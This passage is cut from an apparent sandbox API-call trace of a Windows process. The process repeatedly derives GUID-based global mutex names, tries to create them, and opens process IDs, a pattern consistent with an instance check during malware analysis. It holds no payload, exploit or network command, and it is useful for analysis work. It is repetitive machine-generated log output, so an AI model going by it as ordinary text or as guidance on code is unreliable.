(dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0129.885] CloseHandle (hObject=0x6cc) returned 1 [0129.885] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0129.885] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0129.885] GetLastError () returned 0xb7 [0129.885] CloseHandle (hObject=0x6cc) returned 1 [0129.886] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0129.886] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0129.886] GetLastError () returned 0x0 [0129.886] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0129.886] CloseHandle (hObject=0x6cc) returned 1 [0129.893] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0129.893] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0129.893] GetLastError () returned 0xb7 [0129.893] CloseHandle (hObject=0x6cc) returned 1 [0130.008] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0130.008] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0130.008] GetLastError () returned 0xb7 [0130.008] CloseHandle (hObject=0x6cc) returned 1 [0130.010] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0130.010] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0130.010] GetLastError () returned 0xb7 [0130.010] CloseHandle (hObject=0x6cc) returned 1 [0130.011] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0130.011] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0130.011] GetLastError () returned 0x0 [0130.011] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0130.011] CloseHandle (hObject=0x6cc) returned 1 [0130.011] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0130.011] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0130.011] GetLastError () returned 0x0 [0130.011] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0130.011] CloseHandle (hObject=0x6cc) returned 1 [0130.012] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0130.012] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0130.012] GetLastError () returned 0xb7 [0130.012] CloseHandle (hObject=0x6cc) returned 1 [0130.012] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0130.012] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0130.012] GetLastError () returned 0x0 [0130.012] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0130.012] CloseHandle (hObject=0x6cc) returned 1 [0130.020] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0130.020] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0130.020] GetLastError () returned 0xb7 [0130.020] CloseHandle (hObject=0x6cc) returned 1 [0130.133] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0130.133] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0130.133] GetLastError () returned 0xb7 [0130.133] CloseHandle (hObject=0x6cc) returned 1 [0130.134] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0130.134] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0130.134] GetLastError () returned 0xb7 [0130.134] CloseHandle (hObject=0x6cc) returned 1 [0130.134] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0130.134] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0130.134] GetLastError () returned 0x0 [0130.134] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0130.135] CloseHandle (hObject=0x6cc) returned 1 [0130.135] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0130.135] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0130.135] GetLastError () returned 0x0 [0130.135] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0130.135] CloseHandle (hObject=0x6cc) returned 1 [0130.135] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0130.135] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0130.135] GetLastError () returned 0xb7 [0130.135] CloseHandle (hObject=0x6cc) returned 1 [0130.136] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0130.136] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0130.136] GetLastError () returned 0x0 [0130.136] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0130.136] CloseHandle (hObject=0x6cc) returned 1 [0130.143] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0130.143] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0130.143] GetLastError () returned 0xb7 [0130.143] CloseHandle (hObject=0x6cc) returned 1 [0130.258] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0130.258] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0130.258] GetLastError () returned 0xb7 [0130.258] CloseHandle (hObject=0x6cc) returned 1 [0130.259] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0130.259] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0130.259] GetLastError () returned 0xb7 [0130.259] CloseHandle (hObject=0x6cc) returned 1 [0130.259] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0130.259] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0130.259] GetLastError () returned 0x0 [0130.259] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0130.259] CloseHandle (hObject=0x6cc) returned 1 [0130.260] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0130.260] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0130.260] GetLastError () returned 0x0 [0130.260] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0130.260] CloseHandle (hObject=0x6cc) returned 1 [0130.260] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0130.260] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0130.260] GetLastError () returned 0xb7 [0130.260] CloseHandle (hObject=0x6cc) returned 1 [0130.268] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0130.268] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0130.268] GetLastError () returned 0xb7 [0130.268] CloseHandle (hObject=0x6cc) returned 1 [0130.384] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0130.384] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0130.384] GetLastError () returned 0xb7 [0130.384] CloseHandle (hObject=0x6cc) returned 1 [0130.384] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0130.384] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0130.384] GetLastError () returned 0xb7 [0130.384] CloseHandle (hObject=0x6cc) returned 1 [0130.385] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0130.385] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0130.385] GetLastError () returned 0x0 [0130.385] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0130.385] CloseHandle (hObject=0x6cc) returned 1 [0130.385] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0130.385] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0130.385] GetLastError () returned 0x0 [0130.385] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0130.385] CloseHandle (hObject=0x6cc) returned 1 [0130.385] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0130.385] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0130.385] GetLastError () returned 0xb7 [0130.385] CloseHandle (hObject=0x6cc) returned 1 [0130.393] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0130.393] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0130.393] GetLastError () returned 0xb7 [0130.393] CloseHandle (hObject=0x6cc) returned 1 [0130.507] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0130.507] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0130.507] GetLastError () returned 0xb7 [0130.507] CloseHandle (hObject=0x6cc) returned 1 [0130.508] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0130.508] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0130.508] GetLastError () returned 0xb7 [0130.508] CloseHandle (hObject=0x6cc) returned 1 [0130.508] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0130.508] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0130.509] GetLastError () returned 0x0 [0130.509] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0130.509] CloseHandle (hObject=0x6cc) returned 1 [0130.509] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0130.509] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0130.509] GetLastError () returned 0x0 [0130.509] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0130.509] CloseHandle (hObject=0x6cc) returned 1 [0130.509] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0130.509] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0130.509] GetLastError () returned 0xb7 [0130.509] CloseHandle (hObject=0x6cc) returned 1 [0130.516] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0130.517] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0130.517] GetLastError () returned 0xb7 [0130.517] CloseHandle (hObject=0x6cc) returned 1 [0130.632] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0130.632] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0130.632] GetLastError () returned 0xb7 [0130.632] CloseHandle (hObject=0x6cc) returned 1 [0130.633] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0130.633] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0130.633] GetLastError () returned 0xb7 [0130.633] CloseHandle (hObject=0x6cc) returned 1 [0130.633] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0130.633] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0130.633] GetLastError () returned 0x0 [0130.633] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0130.633] CloseHandle (hObject=0x6cc) returned 1 [0130.634] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0130.634] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0130.634] GetLastError () returned 0x0 [0130.634] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0130.634] CloseHandle (hObject=0x6cc) returned 1 [0130.634] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0130.634] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0130.634] GetLastError () returned 0xb7 [0130.634] CloseHandle (hObject=0x6cc) returned 1 [0130.641] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0130.641] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0130.641] GetLastError () returned 0xb7 [0130.641] CloseHandle (hObject=0x6cc) returned 1 [0130.757] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, 